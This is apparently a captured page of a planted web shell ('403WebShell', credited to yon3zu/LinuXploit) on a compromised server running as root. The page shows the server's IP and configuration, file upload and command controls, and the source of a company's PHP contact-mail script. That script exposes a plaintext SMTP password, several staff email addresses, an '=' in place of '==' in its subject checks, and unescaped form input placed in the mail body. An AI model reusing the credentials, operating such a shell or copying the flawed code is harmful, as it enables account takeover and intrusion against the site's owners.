Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/guaycan_live/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/guaycan_live/sendMail.php
<?php
	require_once 'init.php';

	$response = $recaptcha->verify($_POST['g-recaptcha-response']);

	require 'vendor/autoload.php';
	use PHPMailer\PHPMailer\PHPMailer;

	if($response->isSuccess()){
		$mail = new PHPMailer;

		// $mail->SMTPDebug    = 3;

		$mail->IsSMTP();
		$mail->Host = 'smtpout.secureserver.net';   /*Servidor SMTP*/																		
		$mail->SMTPSecure = 'ssl';   /*Protocolo SSL o TLS*/
		$mail->Port = 465;   /*Puerto de conexión al servidor SMTP*/
		$mail->SMTPAuth = true;   /*Para habilitar o deshabilitar la autenticación*/
		$mail->Username = 'ventas@asfaltosyemulsiones.com.mx';   /*Usuario, normalmente el correo electrónico*/
		$mail->Password = 'Ventas-G19';   /*Tu contraseña*/
		$mail->From = 'ventas@asfaltosyemulsiones.com.mx';   /*Correo electrónico que estamos autenticando*/
		$mail->FromName = 'Asfaltos y Emulsiones';   /*Puedes poner tu nombre, el de tu empresa, nombre de tu web, etc.*/
		$mail->CharSet = 'UTF-8';   /*Codificación del mensaje*/
		$mail->ClearAllRecipients( );


		$asunto = $_POST['asunto'];

		if($asunto = 'Ventas' || $asunto = 'Sales'){
			$ccmail = 'osanchezalv@gmail.com , chomina@guaycan.com.mx, fcojaviersanchez@msn.com';
		}else if($asunto = 'Mercadotecnia' || $asunto = 'Marketing'){
			 $ccmail = 'osanchezalv@gmail.com, chomina@guaycan.com.mx,    fcojaviersanchez@msn.com' ;
		}else if($asunto = 'Datos técnicos' || $asunto = 'Technical data'){
			 $ccmail = 'CALVAREZ@GUAYCAN.COM.MX, JLMARQUEZ@GUAYCAN.COM.MX'; 
		}else if($asunto = 'Administración' || $asunto = 'Management'){
			 $ccmail = 'CONTABILIDAD@GUAYCAN.COM.MX'; 
		}

		$mail->AddAddress("contacto@guaycan.com.mx");
		$mail->AddCC($ccmail);

		// $mail->AddAddress("cynthia.garcia.galvez@gmail.com");


		$mail->IsHTML(true);  //podemos activar o desactivar HTML en mensaje

		$mail->Subject = $_POST['asunto'];
		if($_POST['lang'] != 'ENG'){
			$msg = "Nombre: ".$_POST['nombre']." ".$_POST['apellido']."<br>Correo: ".$_POST['correo']."<br><br>".$_POST['mensaje'];
		}
		else{
			$msg = "Name: ".$_POST['nombre']." ".$_POST['apellido']."<br>Email: ".$_POST['correo']."<br><br>".$_POST['mensaje'];
		}
		$mail->Body    = $msg;

		if($mail->send()) 
		{
			// echo "Message has been sent successfully";
			echo 1;
		} 
		else 
		{
			echo "Mailer Error: " . $mail->ErrorInfo;
		}
	}
	else{
		echo 'incorrecto';
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit